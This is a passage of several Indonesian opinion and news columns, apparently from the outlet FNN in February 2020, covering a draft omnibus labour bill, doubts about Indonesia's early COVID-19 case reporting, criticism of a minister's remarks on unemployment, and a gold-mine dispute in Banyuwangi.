menjadikannya pijakan hukum pembuatan keputusan pekerja. Padahal korporasi besar Amerika harus bersusah payah melobi presiden untuk mendapatkan fasilitas itu. John Perkins melukiskan dengan sagat baik bagaimana Ronald Reagen menerima para korporat. Sedemikian seringnya Reagen menerima mereka, Perkins menyebut Reagen menjadi pelayan terbaik mereka. Strategi dan taktik, seringkali licik dan menjijikan, bukan hal yang tidak ditempuh korporasi bila cara itu yang paling menjanjikan, memungkinkan membawa mereka menguasai sumberdaya ekonomi. Kasus Ekuador dan Panama, menunjukan bagaimana korporasi menempuh strategi dan taktik jijik memperoleh akses ke sumberdaya alam, minyak khususnya. Tahun 1981, tulis Perkins Jamie Roldos, Presiden Ekuador berhasil merancang UU Hidrokarbon dan diajukan ke kongres untuk dibahas. RUU itu, andai berhasil dijadikan UU akan mengubah hubungan Negara itu dengan perusahaan-perusahaan minyak. UU ini diyakini berpengaruh melampaui Ekuador. Perusahan-perusahaan minyak, seperti biasanya, bereaksi, sesuai ramalan menghalalkan segala cara. Pejabat hubungan masyarakat mereka mulai mengeritik Jamie Raldos. Para pelobi mereka mulai membanjiri Quito dan Washingotn dengan tas-tas penuh dengan ancaman dan uang suap. Tetapi Raldos tidak mau tunduk pada mereka. Ia tanggapi dengan mengeritik konspirasi antara politik dengan minyak dan agama. Walau tak memberi bukti, terang-terangan ia mengeritik Summer Institutte of Lingustics (SIL) berkolusi dengan perusahaan minyak, lalu dengan satu langkah yang sangat berani ia mengusir SIL. Setelah itu, ketika berpidato di Stadium Olimpiade Atahualpha di Quito, Roldos mengumbar peringatannya kepada perusahaan minyak untuk menginggalkan Ekuador bila tidak tunduk pada UU yang akan disahkan. Roldos dengan geloranya yang hebat itu, yang telah diperingatkan oleh penasihatnya bahwa dirinya akan dibunuh. Nasihatnya itu membuat ia cukup berhati-hati dalam bertindak. Dalam penerbangan menuju satu komunitas di desa kecil di Selatan Ekuador pada tangal 24 Mei 1981 itu, Roldos diperingatkan agar tidak menggunakan pesawat biasa. Nasihat itu membuat dirinya menggunakan pesawat tipuan. Ternyata pesawat tipuan itulah yang jatuh, dan Jamie Roldos, Presiden hebat ini mati dalam kecelakaan itu (Perkins: 2016: 186). Korporasi, bukan warga yang, kalau bukan tertangguh, jelas paling sulit dihadapi oleh pemerintahan manapun di dunia, tidak terkecuali Amerika. Kepentingan mereka, selalu dalam sejumlah semua kasus, mustahil dikesampingkan. Selalu sama dalam semua kasus, tujuannya mereka hanya satu; mencetak keuntungan. Karena keuntungan yang memandu mereka, dengan hukum sebagai andalannya, maka kelompok ini tidak alergi terhadap campur tangan pemerintahan. Kebijakan-kebijakan yang bersifat campur tangan dapat diterima sejauh untuk memastikan keuntungan mereka. Begitu sebaliknya. Ini yang F.A Hayek ahli hukum konstitusi, yang menaruh perhatian pada bidang ekonomi sebut “wealth creating game” the game of catallaxy. Permainan ini, dalam diskripsi selanjutnya digambarkan sebagai permainan yang tidak dapat dimainkan hanya oleh satu kelompok, orang. Pemrintyah dalam konteks sebagai regulator, tetapi pada saat yang sama harus dapat melihat potensi keuntungan spesifik bagi partisipan pasar. The game of catallaxy, bukan game tanpa rules, tanpa panduan, dan tanpa arah. Dalam konteks itu keterlibatan pemerintah dikerangkakan pada konsep regulating by rules, dan dipandang sebagai hal yang tidak benar-benar buruk. Interfensi jenis ini sama baiknya sejauh, keterlibatan itu menjanjikan keuntungan, daripada intervensi berbentuk perintah diskresioner itu ditolak, setidaknya disangkal oleh pemerintah (Victor J. Venberg, 2001:19-20). Apakah RUU yan sedang diperbincangkan ini memungkinkan keterlibatan pemerintah jenis itu? Jawabannya ya. Kelak setelah menjadi UU, maka tersedialah fundasi kebijakan diskresioner bagi pemerinah, Presiden, menciptakan pasar investasi, yang akrab dengan investor. Karakter norma yang sangat elastis, misalnya norma tentang jam kerja, pengalihan wewenang MUI menerbitkan sertifikasi halal, pembatasan kewenangan Pemda membuat perda, jelas dalam semua aspek. Semuanya memungkinkan pembuatan kebijakan diskresioner dari Presiden. Pada titik ini tatanan factual dan tekstual konstitusi serta tatanan faktual pasar, setidaknya tatanan investasi yang dikerangkakan pada diskresi benar-benar bertolak belakang. Tak sejalan. Selain disebabkan konstitusi tidak membolehkan pemihakan tak berdasar konstitusi untuk diberikan pada satu kelompok usaha, korporasi, juga disebabkan norma-norma dalam RUU ini tidak memenuhi kriteria konstitusional tentang kepastian hukum. Konstitusi, silahkan diperika secara cermat sama sekali tidak berbicara mengenai korporasi. Ini memang standar. Yang dibicarakan dalam konstitusi adalah warga negara memiliki hak bekerja. Dengan mengatur hak warga negara, maka konsekuensinya adalah pemerintah dibebani konstitusional menciptakan lapangan kerja. Konsekuensinya pertama dan utama dari keharusan konstitusi itu adalah pekerja, bukan korporasi, sepenting apapun pemerintah memerlukan mereka, yang harus diproteksi. Tetapi apapun itu, masih tersedia kesempatan bagi pemerintah untuk menata ulang RUU ini. Tata ulang itu, dapat dilakukan baik melalui pembahasan dengan DPR atau cara lain yang sah, misalnya menarik RUU ini. Satu hal, dalam tata ulang itu harus dipastikan pekerjalah yang diproteksi, bukan sebaliknya korporasi, dengan cara memberi fasilitas inkonstitusional kepada mereka. (habis) Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Seluruh Dunia Takut Virus Corona, Percayakah Indonesia Masih Steril?

Bisakah dipercaya Indonesia tanpa virus Corona? Inilah yang menjadi perdebatan dan perbincangan hangat. Banyak yang tak percaya. Tapi ada juga yang percaya, khusunya Menteri Kesehatan Terawan Agus Putranto dan jajarannya. Hanya saja, gurubesar epidemiologi di Universitas Harvard, AS, Prof Marc Lipsitch mengatakan secara statistik, Indonesia tak mungkin bebas dari virus Corona. By Asyari Usman Seluruh dunia mencemaskan penyebaran virus Corona (nama resminya Covid-19). Swiss memberlakukan larangan berkumpul di atas 1,000 orang. Event-event besar dibatalkan. Jepang menutup semua sekolah SD, SMP dan SMA sampai April. Rusia mendeportasi orang-orang yang melanggar wajib karantina. Belarus memberlakukan wajib test untuk orang-orang yang tiba dari Korea Selatan, Iran dan Italia. Tiga negara ini mencatat jumlah terbanyak kasus virus Corona di luar China. Serawak (Malaysia timur) melarang masuk orang-orang yang pernah pergi ke Korea Selatan (Korsel). Presiden Duterte membebastugaskan sejumlah pegawai imigrasi karena meloloskan orang China masuk ke Filipina di tengah wabah Corona saat ini. Diduga, para petugas imigrasi itu menerima uang pelicin. Banyak negara mengambil tindakan keras. Mereka sangat khawatir terhadap invasi Covid-19. Arab Saudi melarang masuk jemaah umrah dari Indonesia. Di Abu Dhabi, penguasa setempat menutup total dua hotel mewah yang di dalamnya ada dua warga Italia yang tertular Corona. Berbagai laga sepakbola, rugby dan baseball ditunda di segenap penjuru dunia. Sebagian tetap dilaksanakan tetapi di stadion kosong tanpa penonton. Termasuk sejumlah pertadingan Serie A (liga utama Italia). Sejauh ini, sudah 60 negara yang tertular Covid-19. Tidak ada satu pun benua yang steril dari virus baru ini. Sekarang ini Korea Selatan, Iran dan Itali muncul menjadi basis penyebaran baru. Korea Selatan mencatat 2,931 kasus dengan 18 kematian. Jumlah kasus baru di Korsel cukp cepat. Di Italia, jumlah tertular tercatat 889 orang; 21 meninggal dunia. Sedangan di Iran, jumlah penderita 388 orang (terbesar ketiga di luar China) dengan korban meninggal 34 orang. Organisasi Kesehatan Dunia (WHO) menaikkan tingkat kewaspadaan Covid-19 ke level tertinggi. Dirjen WHO Tedros Adhanom Ghebreyesus mengatakan, semua negara harus agresif bertindak agar penyebaran virus ini bisa diperlambat. Di seluruh dunia, jumlah yang meninggal akibat Covid-19 tercatat 2,924 orang per Sabtu sore (WIB), 29/2/2020. Jumlah penyandang virus ini mencapai 85,222 orang. Bagaimana dengan Indonesia? Para diplomat Barat, termasuk Amerika Serikat, menyatakan kekhawatiran mereka terhadap cara pemerintah Indonesia menangani ancaman Covid-19. Sejauh ini, pemerintah mengatakan tidak ada penderita virus baru itu. Memang ada pengamatan dan tes laboratorium yang dilakukan atas 136 terduga Corona, namun semuanya dinyatakan negatif. Informasi ini terbaca di lembaran laporan grafis yang kelihatannya dikeluarkan oleh Badan Penelitian dan Pengembangan Kesehatan (Balitbangkes) berdasarkan kesimpulan Laboratorium Rujukan Nasional Penyakit Infeksi per 27 Februari 2020. Lembaran “confidential” (rahasia) ini menyebutkan kasus dalam pengawasan tersebar di 44 rumahsakit di 22 provinsi. Ke-136 terduga itu semuanya negatif Corona. Sedikit mengherankan mengapa dokumen yang berlabel rahasia ini bisa beredar di media sosial. Bisakah dipercaya Indonesia tanpa virus Corona? Inilah yang menjadi perdebatan dan perbincangan hangat. Banyak yang tak percaya. Tapi ada juga yang percaya, khusunya Menteri Kesehatan Terawan Agus Putranto dan jajarannya. Hanya saja, gurubesar epidemiologi di Universitas Harvard, AS, Prof Marc Lipsitch mengatakan secara statistik, Indonesia tak mungkin bebas dari virus Corona. Nah, apakah ada yang disembunyikan oleh para penguasa? Kalau jawabannya iya, tentu akan sangat riskan bagi Presiden Jokowi. Posisi politik presiden yang sering diguyonkan para netizen itu bisa terancam jika ada yang ditutup-tutupi terkait penyebaran Covid-19 di Indonesia. Tapi, Menkopolhukam Mahfud MD menegaskan di Yogyakarta, Sabtu (29/2/2020) bahwa tidak benar tuduhan pemerintah menutup-nutupi fakta Corona di Indonesia. Mahfud menekankan Indonesia masih bebas Corona. Seharusnyalah rakyat percaya kepada pemerintah. Tetapi, ketika orang di sekeliling kita kalang kabut akibat ketularan Corona, bisakah dipercaya Indonesia masih steril? Penulis adalah Wartawan Senior

Mendagri Tito Baperan Soal Nganggur, Keras & Galak di Medsos

By Luqman Ibrahim Soemay Jakarta FNN – Menteri Dalam Negeri (Mendagri) Prof. Dr. M. Tito Karnavian mengatakan, pengangguran di Indonesia sekarang mencapai tujuh juta orang. Pengangguran ini menjadi poin utama kenapa investasi harus digenjot. Tujuannya, agar tercipta lapangan kerja (detik.com Kamis 20 Februari 2020). “Kita melihat hoax terjadi. Salah satu faktor hoax karena nganggur. Ngga ada pekerjaan lain. Seseorang yang menganggur, ada kecenderungan untuk berulah di media sosial (medsos). Misalnya, mencari sensasi atau demi eksistensi,” ujar Tito pada Rakornas Investasi di Ritz-Carlton Pacific Place, Jakarta. “Saya punya saudara yang termasuk agak keras di sana. Padahal saya tahu dia ngga radikal. Dalam pemahaman idelogi dia ngga radikal. Tapi kok terlihat radikal sekali kalau di medsos. Setelah saya pelajari, nganggur ternyata. Biar ada sensasi, eksistensi segala macam”. Penyataan Mendagri Tito mengenai pengangguran yang mencapai tujuh juta orang adalah gambaran keresahan seorang pejabat negara. Keresahan yang layak dan patut untuk diapresiasi. Keresahan yang sangat mulia, sangat terhormat dan sangat bermartabat. Tentu saja, keresahan dari seorang pejabat yang ingin mencari jalan keluar untuk mengatasi pengangguran yang terbilang tinggi. Namun persoalannya menjadi lain, kalau Pak Mendagri Tito berpendapat bahwa radikal, galak atau kritis kepada pemerintah di medsos karena nganggur. Tidak punya pekerjaan. Sebab tampak kalau Pak Tito tidak dewasa, bahkan cenderung kekanak-kanakan. Pak Tito seperti tidak siap menghadapi perbedaan pendapat dari masyarakat sipil. Masyarakat sipil yang kritis terhadap tata kelola bangsa dan negara, yang nyata-nyata memang terlihat amburadul. Kata Dr. Syahganda Nainggolan ada di virus di mana misalnya, virus Harun Masiku, virus Jiwasraya, virus Asabri, virus Bumiputra dan terakhir dugaan virus corona. Kalau masyarakat sipil kritis kepada pemerintah, baik di medsos, maupun ruang diskusi dan seminar, itu karena mereka punya keresahan. Mereka juga punya kepedulian dengan nasib bangsanya. Keinginan untuk mencintai bangsa dan negara ini bukan hanya monopoli Pak Mendagri dan pemerintah. Walaupun sebagai Mendagri, Pak Tito bebas berbicara, namun sebaiknya lebih arif dan bijak. Kebiasaan dan hobby Pak Tito yang untuk membuat pernyataan di luar tupoksi ketika masih menjabat Kapolri, sebaiknya tidak lagi dilanjutkan saat menjabat menteri. Pak Tito sekarang sudah menjadi Mendagri lho. Jangan merasa masih menjadi Kapolri. Sehingga pilihan diksinya harus lebih sejuk dan bijak. Pak Tito sekarang adalah pimpinannya para pamong. Pernyataan Pak Tito sebaiknya bersifat mengajak dan mengayomi, layaknya seorang pamong. Bukan sebaliknya, membenturkan dan menciptakan perbedaan baru di masyarakat. Itu kurang bijak sebagai seorang Pamong. Perbedaan dalam diskursus politik itu hal biasa dan wajar di negara demokrasi. Pemerintah harus punya lawan tanding tanggung dari masyarakat sipil yang kritis dan tangguh. Tujuannya, agar pemerintah lebih hati-hati dalam menjalankan roda pemerintahan. Tidak asal-asalan dan amatiran dalam bekerja. Prinsip-prinsip Good Corporate Govermance harus benar-benar terlaksana dengan baik. Gubernur & Bupati 414 Tersangka Pada semua negara di dunia yang menganut sistem demokrasi, perbedaan pendapat dengan pemerintah sekeras apapun tetap saja dimaknai sebagai kekayaan bangsa yang paling berharga. Sebab bukan hanya Pak Tito dan pemerintah yang paling peduli dengan persoalan bangsa dan negara ini. Kita semua juga peduli dengan bangsa ini kok Pak Tito. Sekadar mengingatkan Pak Tito saja, bahwa sejak reformasi 1998 sampai akhir Desembes 2019, tercatat 414 orang Kepala Daerah yang sudah ditetapkan sebagai tersangka. Mereka ditetapkan sebagai tersangka oleh KPK, Kejaksaan dan Polri. Dari Jumlah tersebut 22 adalah para Gubernur. Sisanya 392 lagi adalah para Bupati dan Walikota. Mereka tidak nganggur. Jumlah mereka yang terjerat korupsi itu tidak sedikit. Hampir mencapai 75% dari total 548 Kepala Daerah seluruh Indonesia, terdiri dari 34 Gubernur dan 514 Bupati dan Walikota. Mereka semua berakhir tragis. Mereka menjadi penghuni Hotel Prodeo di Sukamiskin Bandung. Hampir dipastikan mereka bukanlah orang-orang sembarangan . Mereka juga itu tidak sedang nganggur lho Pak Tito. Mereka semua punya pekerjaan tetap kan? Punya jabatan paling terhormat di daerahnya masing-masing. Karena mereka menjabat sebagai Gubernur, Bupati dan Walikota. Dari jumlah 414 orang itu, belum termasuk Sekretaris Daerah (Sekda) dan para Kepala Dinas yang sering disebut Satuan Kerja Perangkat Daerah (SKPD). Lagi-lagi, dipastikan para Sekda dan para Kepala Dinas tersebut, tidak ada satu pun yang ganggur lho. Ya tentu mereka semua punya pekerjaan tetap sebagai Sekda dan Kepala Dinas di Provinsi, Kabupaten dan Kotamadya. Entah berapa angka korupsi yang melibatkan para Gubernur, Bupati dan Walikota, Sekda dan Kepala Dinas tersebut. Agak susah dihitung nilai korupsinya itu dengan kalkulator Pak Tito. Namun yang pasti mereka semua bukan orang-orang yang galak dan radikal di medsos. Bisa jadi mereka tidak yang suka berkomentar di medsos, baik itu yang mendukung atau yang mengkritik pemerintah. Korupsi Asuransi Ratusan Triliun Tidak cukup Pak Gubernur, Pak Bupati dan Pak Walikota yang terlibat korupsi. Publik negeri ini sedang dihebokan dengan skandal korupsi paling besar sepanjang sejarah negeri ini. Skandal korupsi di perusahaan asuransi Badan Usaha Milik Negara (BUMN), PT Asuransi Jiwasraya, PT Asabri dan PT Bumiputra. Nilainya tidak kecil Pak Tito. Hampir mencapai ratusan triliun rupiah. Para pejabat negara maupun swasta yang terlibat skandal korupsi asuransi Jiwasrara, Asabri dan Bumiputra ini bukan orang-orang yang pengangguran juga Pak Tito. Mereka tentu saja tidak keras dan redikal di medsos. Mereka semua mempunyai jabatan dengan punya gaji. Mereka pelaku koruptor asuransi juga mendapatkan tunjangan jabatan dan pasilitas dari perusahaan yang terbilang pantastis. Ada yang punya pendapatan ratusan juta rupiah setiap bulan. Bahkan mungkin saja ada yang mencapai miliaran rupiah setiap bulan. Lagi-lagi mereka para koruptor itu tidak galak dan radikal di media sosial Pak Tito. Apalagi sebagai Direksi, Komisaris dan Manejer BUMN Asuransi, dipastikan mereka paling sopan dan santun kepada pemerintah. Bisa jadi mereka sering memuji-muji pemerintah setinggi langit di medsos. Mungkin juga mereka sering memuji-muji pemerintah di restoran dan rumah kopi papan atas, tempat mereka sering nongkrong membicarakan perampokan atas asset-asset negara. Biasanya mereka suka ketemu atau kumpul di Longue hotel bintang empat atau bintang lima. Tragisnya, terbukti ada diantara mereka yang pernah berkantor di Istana Negara. Kantor dengan simbol paling terhormat, dan paling bergensi untuk ukuran sebuah negara. Harry Prasetyo, mantan Direktur Keuangan PT Asuransi Jiwasraya pernah menjabat Tenaga Ahli Deputi III, Bidang Kajian dan Pengelolaan Isu Ekonomi dan Startegis Kantor Staf Kepresidenan sejak 2018. Saran saya, sebagai pejabat negara sekelas menteri, sebaiknya Pak Tito lebih arif dan bijak dalam membuat pernyataan terkait dengan pengangguran, galak dan radikal ini. Jangan meresa masih menjadi Kapolri. Bahasa kerennya agar lebih “wise lah”. “Apalagi Pak Tito ini salah satu kandidat Calon Presiden atau Wakil Presiden 2024 paling potensial, “kata Menko Polhukam Mafudz MD. Hampir pasti, tidak ada anak negeri ini yang galak dan radikal di medsos tersebut, mau menjadi pengangguran. Mereka perlu menghidupi anak dan isteri mereka. Mereka juga perlu membiayai pendidikan anak-anak mereka. Mereka memerlukan duit untuk membeli buku, pakaian seragam, dan uang jajan dan transportasi harian anak-anak mereka ke sekolah. Kalau Pak Tito bisa membantu mereka, toh tidak perlulah juga Pak Tito mencemooh mereka sebagai yang nganggur. Biarkan perbedaan dan sikap kritis itu tetap dipelihara sebagai bentuk kepedulian mereka kepada bangsa dan negara. Yang lebih mengenaskan lagi, sejak reformasi 1998 sampai sekarang, sudah sembilan orang menteri yang duduk di kursi tersangka dan terdakwa. Pasti mereka juga bukanlah pengangguran. Tanpa perlu menyebut para menteri tersebut satu persatu (ada jejak digitalnya), mereka pejabat paling terhormat di negeri ini. Dua diantaranya menjabat sebagai Menteri Agama. Dua lagi menjabat Menteri Pemuda dan Olahraga. Dua orang menjabat Menteri Sosial. Sisanya tiga orang lagi adalah Menteri Energi dan Sumberdaya Mineral, Menteri Kesehatan dan Menteri Dalam Negeri. Selain para menteri, mereka yang juga menjadi tersangka adalah para pejabat tinggi Negara. Bukan sembarang pejabat untuk ukuran Indonesia Pak Tito. Misalnya Ketua Dawan Perwakilan Rakyat (DPR), Ketua Dewan Perwakilan Daerah (DPD) dan Ketua Mahkamah Konstitusi (MK). Ada lagi empat Ketua Umum Partai Politik yang punya perwakilan di DPR sudah menjadi terhukum. Dua orang Sekretaris Jendral Partai Politik juga juga sudah dihukum. Selain itu , 255 orang anggota DPR dan DPRD yang sudah dihukum karena terlibat korupsi. Mereka semua itu tidak nganggur lho Pak Tito. Ayo, pilih yang mana Pak Tito? Mereka yang tidak ngganggur, tidak galak, dan tidak radikal kepada penguasa, tetapi faktanya merugikan negara atau terlibat korupsi? Atau mereka yang nganggur, yang galak dan yang radikal, dengan tujuan untuk mengawasi pemerintahan, agar dikelola berdasarkan prinsip-prinsip Good Corporate Govermant? Pengangguran Pelaku Sejarah Selamat untuk Pak Tito, yang sekarang menjabat sebagai Mendagri. Namun sekadar mengingatkan saja bahwa jabatan yang Pak Tito tempati sekarang adalah buah dari penjuangan panjang dan berdarah-darah sebagain besar teman-teman yang nganggur, namun galak, keras dan radikal kepada rezim Orde Baru. Mereka telah galak dan radikal sejak pertengahan tahun 1970-an, 1980-an dan 1990-an. Ketika mereka yang nganggur itu mulai galak, keras dan radikal kepada kekuasaan Soeharto di akhir tahun 1980-an dan awal 1990, Pak Tito mungkin masih letnan dua atau letnan satu polisi. Sebagai perwira muda, tentu saja Pak Tito lagi bangga-bangganya melaksanakan tugas sebagai abdi negara. Namun mereka yang nganggur itu sudah berhadap-hadapan dengan tentara dan polisi Soeharto. Resikonya, di antara mereka ada yang masuk penjara. Namun ada juga yang meninggal dunia. Bahkan ada yang hilang sampai sekarang. Jasadnya pun entah dibuang kemana. Namun begitulah resiko perjuangan dari mereka yang ganggur, yang galak dan yang radikal di ruang-ruang publik. Perjuangan mereka yang nganggur, yang galak, yang keras dan yang radikal kepada kekuasaan Seoharto itu, tidak sia-sia. Hasilnya, Pak Tito bisa menjadi Kapolri, dengan jenderal bintang empat di pundak. Sekarang Pak Tito lebih terhormat lagi. Menjabat sebagai Menteri Dalam Negeri. Selamat ya Pak Tito. Sebagai penutup, saya mengutip firman Allah SWT dalam Al-Qur’an Surat At-Thalaq, ayat 2-3, yang artinya “barang siapa yang bertaqwa kepada Allaah, niscaya Allaah akan mengadakan baginya jalan keluar. Allaah akan memberinya rezeki dari arah yang tidak disangka-sangka, dan barang siapa yang bertwakal kepada Allaah, niscaya Allaah akan mencukupkan segala keperluannya”. Pada surat yang lain, Allaah SWT juga berfirman “tidak ada makhluk yang melata di muka bumi ini, melaikan Allaah telah mengatur rezikinya”. (Surat Huud ayat 6). Semoga Pak Tito tidak lagi alergi dan baperan terhadap kritik, baik yang galak, yang keras maupun yang radikal kepada pemerintah. Alergi dan baperan terhadap kritik itu hanya mengingatkan kita kembali pada cara-cara Orde Baru yang sudah kuno, usang dan primitif untuk membungkam para aktivis yang keras, yang galak dan yang radikal. Apalagi sebagai seorang Guru Besar yang bergelar profesor dan pehade. Penulis adalah Wartawan Yunior

Polemik Tumpang Pitu: Gubernur Dihimpit Dilema!

Oleh Mochamad Toha Jakarta, FNN.co.id - Akhirnya, warga terdampak sekitar tambang emas Tumpang Pitu, Banyuwangi, ditemui oleh Gubernur Jatim Khofifah Indar Parawansa, Jum’at (28/2/2020). Meski belum ada pernyataan sikap, namun pertemuan ini suatu kemajuan besar dan berarti. Karena sebelumnya, berbagai upaya warga untuk bisa bertemu Gubernur Khofifah nyaris tidak berhasil saat mereka melakukan aksi di depan Kantor Gubernur di Jalan Pahlawan Surabaya. Karena berbagai rintangan sempat menghadang warga. “Kemarin saya di kantor Pahlawan mereka tidak aksi,” ujar Gubernur Khofifah ketika saya hubungi. Belakangan diketahui, warga tidak melakukan aksi karena pada Rabu (26/2/2020) ada warga lain dari Banyuwangi juga yang siap menghadang. Menurut Advokat Subagyo, SH, pendamping warga terdampak, ketika itu tidak aksi, karena ada informasi bahwa massa bayaran didatangkan dari Banyuwangi sebanyak 3 bus. “Saya termasuk yang ikut menyarankan agar warga tolak tambang menjauh dulu dari kantor Gubernur untuk menghindari bentrokan. Info dari Banyuwangi massa kontra tolak tambang dibayar per orang Rp 150 ribu per hari,” ungkapnya. Apa yang saya tulis itu, nyaris terjadi. Gejala konflik horizontal di wilayah sekitar tambang emas Tumpang Pitu di kawasan Dusun Pancer, Desa Sumberagung, Kecamatan Pesanggaran, Kabupaten Banyuwangi, belakangan ini sangat mengkhawatirkan. Pasalnya, mulai ada kelompok Forum Pembela Adat dan Budaya Banyuwangi (Balawangi) yang siap-siap pasang badan mensterilkan Dusun Pancer dari pihak luar. Sayangnya pihak luar yang dimaksud itu siapa tak disebutkan. “Kami sangat prihatin, dan merasa terpanggil atas kondisi yang terjadi di Pancer,” kata Ketua Balawangi, Sholehudin, Minggu malam (16/2/2020). Ini disampaikan saat acara diskusi di café Jakarta, Desa Jajag, Kecamatan Gambiran, Banyuwangi. Diduga, massa kontra tolak tambang itulah yang berusaha menghadang warga terdampak itu. Esoknya, Kamis (27/2/2020), warga terdampak ini mendapat intimidasi ketika mereka berada di LBH Surabaya. Memang tidak jelas siapa yang intimidasi ini. Tim Kerja Advokasi Gerakan Rakyat untuk Kedaulatan Agraria (TEKAD GARUDA) merilis sekitar pukul 11:00 WIB menyebut, beberapa orang tak dikenal berpakaian safari hitam yang mengaku-aku sebagai anggota Ormas Pemuda Pancasila (PP) dan ormas gabungan lainnya telah mendatangi kantor LBH Surabaya. Warga terdampak tambang emas yang berasal dari kaki Gunung Tumpang Pitu dan Gunung Salakan, Banyuwangi, bersama simpatisan pendukungnya yang sedang berkumpul di Kantor LBH Surabaya dikagetkan oleh bentakan dan suara ribut-ribut dari lobi LBH Surabaya. Tak hanya membentak, gerombolan ini juga mengaku-aku berasal dari Banyuwangi. Selain, mencari Direktur LBH Surabaya mereka juga bermaksud memastikan apakah di Kantor LBH Surabaya ada massa aksi yang berkumpul ataukah tidak. Tak hanya itu, mereka juga melarang warga dan massa penolak tambang untuk melakukan aksi di Depan Kantor Gubernur Jatim. Salah seorang dari kelompok tidak dikenal ini juga menyuruh warga melakukan aksi di Banyuwangi, bukan di Kantor Gubernur Jatim. Mereka ini juga mengancam akan menghadang warga dan massa tolak tambang jika berkeras melanjutkan aksi ke Kantor Gubernur Jatim. Sebelum pergi meninggalkan kantor LBH, salah seorang dari mereka menggebrak meja dan kembali mengulang ancamannya: akan menghadang warga jika tetap berangkat ke Kantor Gubernur Jatim. Di luar Kantor LBH Surabaya, kepada salah seorang massa penolak tambang, salah seorang anggota gerombolan ini menanyakan isu apa yang sebenarnya akan diperjuangkan oleh warga serta pendukungnya. Hingga rilis ini diterima, belasan hingga dua puluhan orang-orang tidak dikenal tersebut tetap bergerombol di depan gerbang Kantor LBH Surabaya. Sementara, Ketua Lembaga Penyuluhan dan Pembelaan Hukum (LPPH) Pemuda Pancasila Kota Surabaya, Rohmad Amrullah, dalam klarifikasinya menyatakan, Ormas PP, di seluruh tingkatan, di wilayah Jatim, tidak ada perintah melakukan pendudukan terhadap kantor LBH Surabaya, berkaitan dengan kasus tambang emas di wilayah Banyuwangi. Dalam klarifikasi bernomor 028/LPPH-PP/II/2020 itu, Rohmad menjelaskan, “Apabila ada pihak yang menyebut diri sebagai perwakilan dari Pemuda Pancasila, maka kami mohon hal tersebut tidak dianggap sebagai perwakilan organisasi, karena memang sejatinya tidak ada keputusan ataupun perintah organisasi untuk melakukan tindakan tersebut.” Hingga file klarifikasi berformat pdf tersebut diterima oleh staf LBH Surabaya, belum juga terungkap siapa sesungguhnya gerombolan yang telah menggeruduk Kantor LBH serta mengintimidasi warga penolak blok tambang emas Salakan-Tumpang Pitu itu. Langkah strategis Gubernur Khofifah untuk segera menemui warga terdampak tambang emas Tumpang Pitu sehari setelah intimidasi tersebut, sangatlah tepat. Sehingga tak sampai timbul kesan bahwa mereka ini massa yang “wewakili” Pemprov Jatim. Sebelumnya, Selasa (25/2/2020), terkait desakan warga Tumpang Pitu yang menuntut mencabut ijin pertambangan emas PT Bumi Suksesindo (BSI) dan PT Damai Suksesindo (DSI), Gubernur Khofifah menyatakan agar warga menunjukkan pasal yang dilanggar. “Kalau mau dikaji ulang silahkan. Kan undang-undang itu bupati bisa mencabut, gubernur bisa mencabut jika mereka bisa menunjukkan buktinya dari undang-undang. Di item mana dari undang-undang itu yang dilanggar,” ungkap Khofifah kepada wartawan. Sebaliknya, jika tak ada pelanggaran, maka kewenangan bisa dicabut oleh instansi yang lebih tinggi. “Kalau tidak ada pelanggaran seperti yang di undang-undang itu, maka kewenangan itu bisa dicabut oleh instansi yang lebih tinggi di atasnya provinsi,” lanjut Khofifah. Menurut Gubernur Khofifah, pihaknya bersedia mengajak warga untuk berdiskusi dengan menunjukkan pasal dan ayat yang dilanggar dari pertambangan di gunung Tumpang Pitu. “Tidak apa-apa, kita bisa mendiskusikan dari pasal yang menjadikan kewenangan bupati, gubernur. Kan ada pelanggaran 1, 2 , 3 dan 4. Antara lain keputusan pengadilan, tidak bayar pajak, mengalihkan kepemilikan,” jelasnya. Menurut Rere Christanto dari Walhi Jatim, isi pertemuan cukup normatif bahwa gubernur mendengarkan paparan dampak pertambangan kepada warga serta regulasi-regulasi yang diduga dilanggar dalam pertambangan. “Gubernur berjanji akan me-review laporan warga dan pendamping. Dan, jika ditemukan pelanggaran akan diambil tindakan,” ungkap Rere. Persoalan yang dihadapi Gubernur Khofifah tentunya tidaklah semudah membalik telapak tangan. Pasalnya, di belakang perusahaan yang mengelola tambang emas Tumpang Pitu itu ada dua partai besar dan medium “bermain” di sana. Itulah dilema yang kini dihadapi oleh Gubernur Jatim. Khofifah harus memilih diantara dua opsi: ikuti permainan mereka atau ikut bersama warga! *** Penulis wartawan senior.

Virus Corona. Indonesia di Ambang Bencana?

Oleh Hersubeno Arief Jakarta, FNN - Secara teori dan teknis banyak yang meyakini, harusnya Indonesia sudah terjangkit virus Corona. Karena itu lah klaim pemerintah Indonesia, sampai saat ini tidak ditemukan satu pun kasus virus made in China, banyak dipertanyakan dan diragukan. Bukan hanya oleh rakyat Indonesia sendiri, tapi juga para pemimpin negara-negara asing. Di medsos beredar meme ”Jangankan virus Corona. Harun Masiku saja tidak ditemukan!” Dalam wawancara dengan radio 3AW Jumat ( 28/2) Perdana Menteri (PM) Australia Scot Morrison meragukan klaim tersebut. Dia menduga hal itu terjadi karena kemampuan pengujian Indonesia yang rendah. "Ini (Indonesia) adalah negara yang sangat besar dengan banyak pulau dan akan sangat sulit untuk dapat memberikan jaminan absolut tentang angka-angka itu," ujar Morrison. Sehari sebelumnya The Sydney Morning Herald (27/2) memberitakan bocoran yang berasal dari kalangan diplomat AS. Bersama dengan sejumlah Perwakilan negara-negara Eropa lainnya mereka menyampaikan kekhawatiran tersebut kepada Menkes Terawan Agus Putranto. "Kami meyakini bahwa penting bagi pemerintah Anda untuk secara aktif melakukan deteksi kasus," demikian isi salah satu pesan dalam pertemuan tertutup itu. Kekhawatiran atas kemampuan Indonesia melakukan tes dan keseriusan dalam menangani bencana virus Corona meningkat menyusul adanya sejumlah temuan. Seorang turis Jepang diketahui positif Corona. Dia bersama keluarganya berlibur di Bali selama 4 hari. Kasus tersebut semula dibantah oleh Dinas Kesehatan Bali. Belakangan Departemen kesehatan mengakuinya dengan tambahan info “turis tersebut tidak kemana-mana. Dia hanya tinggal di hotel saja.” Otoritas Selandia baru Hari Jumat (28/2) mengumumkan seorang warganya positif Corona. Dia baru saja kembali dari Iran dan sempat transit di Bali. Wajar bila warga Australia sangat khawatir. Selain betetangga, banyak turis mereka yang berwisata ke Bali. Sepanjang tahun 2019 tercatat 1.3 juta orang. Setiap pekannya ada 25 ribu penumpang dalam penerbangan Australia-Bali. Saat ini di 